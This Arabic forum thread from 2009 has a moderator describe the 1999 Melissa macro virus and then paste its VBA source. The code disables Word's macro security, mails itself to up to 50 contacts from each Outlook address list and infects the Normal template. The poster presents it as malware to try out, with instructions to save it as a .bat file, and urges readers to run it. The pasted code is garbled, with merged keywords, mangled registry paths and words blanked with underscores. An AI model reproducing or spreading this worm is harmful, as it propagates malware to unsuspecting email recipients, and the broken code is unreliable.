مرحباً بكم

أهلا وسهلاً بك من جديد
زائر

آخر زيارة لك مع شباب اكس لايف كانت

المواضيع الأخيرة

» كتاب تعليم SQLServer 2008
الأحد مارس 04, 2012 11:15 am من طرف where_true_love2002

» مرحباً بصديقتنا زهرة ياسمين
الأربعاء يناير 11, 2012 9:06 pm من طرف ST@R

» تحـيه لصدقيتنا الجديدة rafika
الثلاثاء يناير 10, 2012 3:04 pm من طرف Rasheed_L.F.E

» مرحباً بصديقنا الجديد "هاكونا مطاطا"
الثلاثاء يناير 10, 2012 3:03 pm من طرف Rasheed_L.F.E

» كل عام وانتم بخير وكل عام وانتِ حبيبتي
الثلاثاء نوفمبر 15, 2011 2:28 pm من طرف ST@R

» فيلم الحياه في يوم
الثلاثاء نوفمبر 15, 2011 2:01 pm من طرف ST@R

» أهلا بصديقتنا khloud
الخميس أكتوبر 20, 2011 9:29 am من طرف hade

» حشرة تجلب الملايين لمصر .. ممنوع قتلها
الخميس أكتوبر 20, 2011 9:24 am من طرف ST@R

» ماذا بعد ؟؟!!
الخميس سبتمبر 08, 2011 7:26 pm من طرف ST@R

» Join My Group
السبت أغسطس 13, 2011 9:32 am من طرف ST@R

استمع الى راديو صوت الغد FM

حمل صورك من هنا

File & pics upload

أفضل 10 أعضاء في هذا المنتدى

المتواجدون الآن ؟

ككل هناك 6 عُضو متصل حالياً :: 0 عضو مُسجل, 0 عُضو مُختفي و 6 زائر :: 1 روبوت الفهرسة في محركات البحث

لا أحد


[ مُعاينة اللائحة بأكملها ]


أكبر عدد للأعضاء المتواجدين في هذا المنتدى في نفس الوقت كان 59 بتاريخ الخميس مايو 24, 2012 5:40 pm


    الفايروس مليسا معلومة + الكود

    شاطر
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    الفايروس مليسا معلومة + الكود

    مُساهمة من طرف Rasheed_L.F.E في الأحد نوفمبر 29, 2009 10:50 pm



    كان هذا الفيروس متجدداً في طريقة انتشاره وانتقاله, فهذا الفيروس يقوم بتحديد مكان كتاب عناوين البريد الإلكتروني ثم يقوم بإرسال نفسه إلى اصدقائك ومعارفك وهذه الطريقه الذكية تسمح للفيروس بالانتقال والانتشار بشكل كبير , لاسيما وقد أتي من مصدر موثوق به وهذا سر انتشار هذا النوع من الفيروسات - لا اعتقد انك ستشك في ان اصدقائك قد يرسل احدهم اليك فيروس ومن هذا المنطلق ستكون واثق وستفتح الرساله . وبعد ان تصاب تتكرر العمليه وهنا ينتشر بسرعه رهيبه هذا الفيروس وكان من اهم من اطلق منه في عام 1999م - وهذا الفيروس يخترق نظام الورد في الجهاز المصاب ويعدل فيه ويستخدم ملفات الورد المصابة لارسال نفسه وهو يرسل نفسه عبر قوائم البريد الموجودة في الاوتلوك ولاكثر من 50 شخص .

    بدأ الأمر في يوم الجمعة السادس والعشرين من مارس عام 1999م, عندما أرسل احدهم رسالة تحتوي على هذا الفيروس الى أحد الجرائد باستخدام حق دخول AOL. وانتشر الأمر بسرعة فائقة لم يحققها أي فيروس . (فيما عدا LOVE BUG الذى تفوق عليه في مايو 2000 م ) .

    وهكذا بدأت وحدات خدمة البريد الإلكتروني في Microsoft و Intel و Lucent وغيرها من الشركات الكبرى تعاني من بطء تحت وطأة هجوم فيروس Melissa .
    وبسرعة فائقة ايضاً , بدأت مئات الآلآف من الرسالات الإلكترونية الكاذبة تغزو كل مواقع البريد الإلكتروني, وقد كان الامر كارثة حقيقيه حتي ان شركة Microsoft قد اظطرت لإغلاق نظامها الضخم للبريد الإلكتروني لمنع انتشار الفيروس. وهذا مايجهله الكثير من المستخدمون ظنن منهم ان التوقف بسبب صيانه او عطل او خدمة سيئه تقدم من قبل شركة Microsoft.

    إلا ان فيروس Melissa سبب ضرراً فعلياً صغيراً فهو لم يقوم بحذف مكونات محرك الأقراص الصلبة أو اختراق أنظمةالأمن في أي جهاز. إلا أن تكاليف البحث عنه وإزالته من كل الأنظمة كانت باهظه جداً .


    الكود:


    الكود

    يصتاده برامج الحمايه

    طريقه الاستعمال

    افتح نوت باد او txt وانسخ الكود وضعه ثم حفظ باسم  ثم نكتب الايم متبوع بالاحقة .bat




    PrivateSub AutoOpen() OnErrorResumeNext
    p$ = "clone"
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e c urity", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabl ed = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e c urity", "Level") = 1&
    Else
    p$ = "clone"
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
    EndIf
    DimUngaDasOutlook, DasMapiName, BreakUmOffASlice
    SetUngaDasOutlook = CreateObject("Outlook.Application")
    SetDasMapiName = UngaDasOutlook.___NameSpace("MAPI")
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 ToDasMapiName.AddressLists.Count
    SetAddyBook = DasMapiName.AddressLists(y)
    x = 1
    SetBreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 ToAddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Thenoo = AddyBook.AddressEntries.Count
    Nextoo
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
    BreakUmOffASlice.Body = "Here is that ________ you asked for ... don't show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add Active________.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Nexty
    DasMapiName.Logoff
    EndIf
    p$ = "clone"
    System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
    EndIf
    SetADI1 = Active________.VBProject.VBComponents.Item(1)
    SetNTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "Melissa" Then
    If ADCL > 0 Then_
    ADI1.CodeModule.DeleteLines 1, ADCL
    SetToInfect = ADI1
    ADI1.Name= "Melissa"
    DoAD = True
    EndIf
    If NTI1.Name <> "Melissa" Then
    If NTCL > 0 Then_
    NTI1.CodeModule.DeleteLines 1, NTCL
    SetToInfect = NTI1
    NTI1.Name= "Melissa"
    DoNT = True
    EndIf
    If DoNT <> TrueAnd DoAD <> TrueThenGoToCYA
    If DoNT = TrueThen
    DoWhileADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub _________Close()")
    DoWhileADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    EndIf
    p$ = "clone"
    If DoAD = TrueThen
    DoWhileNTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub _________Open()")
    DoWhileNTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    EndIf
    CYA:
    If NTCL <> 0 And ADCL = 0 And (InStr(1, Active________.Name, "________") = False) Then
    Active________.SaveAs FileName:=Active________.FullName
    ElseIf (InStr(1, Active________.Name, "________") <> False) Then
    Active________.Saved = True: EndIf
    'WORD/Melissa written by Kwyjibo
    'Clone written by Duke/SMF
    'Works in both Word 2000 and Word 97
    'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
    'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
    If Day(Now) = Minute(Now) ThenSelection.Type____ "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
    EndSub


    avatar
    darKnight
    مشرف
    مشرف

    عدد المساهمات : 378
    تاريخ التسجيل : 11/08/2009
    المزاج : RELAX

    رد: الفايروس مليسا معلومة + الكود

    مُساهمة من طرف darKnight في الثلاثاء ديسمبر 01, 2009 3:50 pm

    يا سيدي بعرف انو فايـروس ميليسا مكتوب بلغة ال vb مو على المفكرة

    و غالباً ما يعطوا الكود و فيه اخطاء

    انت جرب على الvb و شوف شو بيعطي وشكراً على مساهماتك
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    رد: الفايروس مليسا معلومة + الكود

    مُساهمة من طرف Rasheed_L.F.E في الثلاثاء ديسمبر 01, 2009 8:46 pm

    darKnight كتب:
    يا سيدي بعرف انو فايـروس ميليسا مكتوب بلغة ال vb مو على المفكرة

    و غالباً ما يعطوا الكود و فيه اخطاء

    انت جرب على الvb و شوف شو بيعطي وشكراً على مساهماتك

    كلامك صحيح

    بس انت حاولت تحفظ الكود
    جرب احفظالكود وشوف شو بصير بعدين








    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    ..



    ..
    avatar
    ST@R
    مشرف
    مشرف

    عدد المساهمات : 566
    تاريخ التسجيل : 11/08/2009
    المزاج : غير متفائل

    رد: الفايروس مليسا معلومة + الكود

    مُساهمة من طرف ST@R في الأربعاء ديسمبر 02, 2009 10:06 am

    بجوز يمكن اذا كتبناه على مفكرة او على ملف فيجوال مضاد الفيروسات رح يشوف محتوياته لما يدقق بطبيعة الكود .... بكلا الحالتين رح ينلقط بس الاهم اي واحد رح يكون إلو تأثير فايروس حقيقي يمكن يكون الكود المكتوب ضمن المفكرة منظر بدون فائدة








    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    أجْمَل مَا بِالْفَقْر ..! أَنَّه لَا يَجْلِب لَك أَصْدِقَاء ~ الْمَصْلَحَة!
    avatar
    Rasheed_L.F.E
    مشرف
    مشرف


    عدد المساهمات : 1249
    تاريخ التسجيل : 18/08/2009
    الموقع : أسكن في قلب الحبيب
    المزاج : Lover For Ever

    رد: الفايروس مليسا معلومة + الكود

    مُساهمة من طرف Rasheed_L.F.E في الأربعاء ديسمبر 02, 2009 4:54 pm

    ST@R كتب:
    بجوز يمكن اذا كتبناه على مفكرة او على ملف فيجوال مضاد الفيروسات رح يشوف محتوياته لما يدقق بطبيعة الكود .... بكلا الحالتين رح ينلقط بس الاهم اي واحد رح يكون إلو تأثير فايروس حقيقي يمكن يكون الكود المكتوب ضمن المفكرة منظر بدون فائدة

    كمان كلامك صحيح
    بس انتو جربو الكود عندكم واحفظوه وشوفو النتيجة
    ولكن بحذر

    وبدكم الصراحة
    انا بعد هالكود هاد ما عاد عندي ثقة بالكاسبر سكاي








    ¤.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.¸¸.¤¤¸¸.·´¯`·.·.¸¸¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯`·.·.¸¸.·´¯ `·.¸ ¸.¤

    ..



    ..

      الوقت/التاريخ الآن هو الأحد يناير 20, 2019 5:36 pm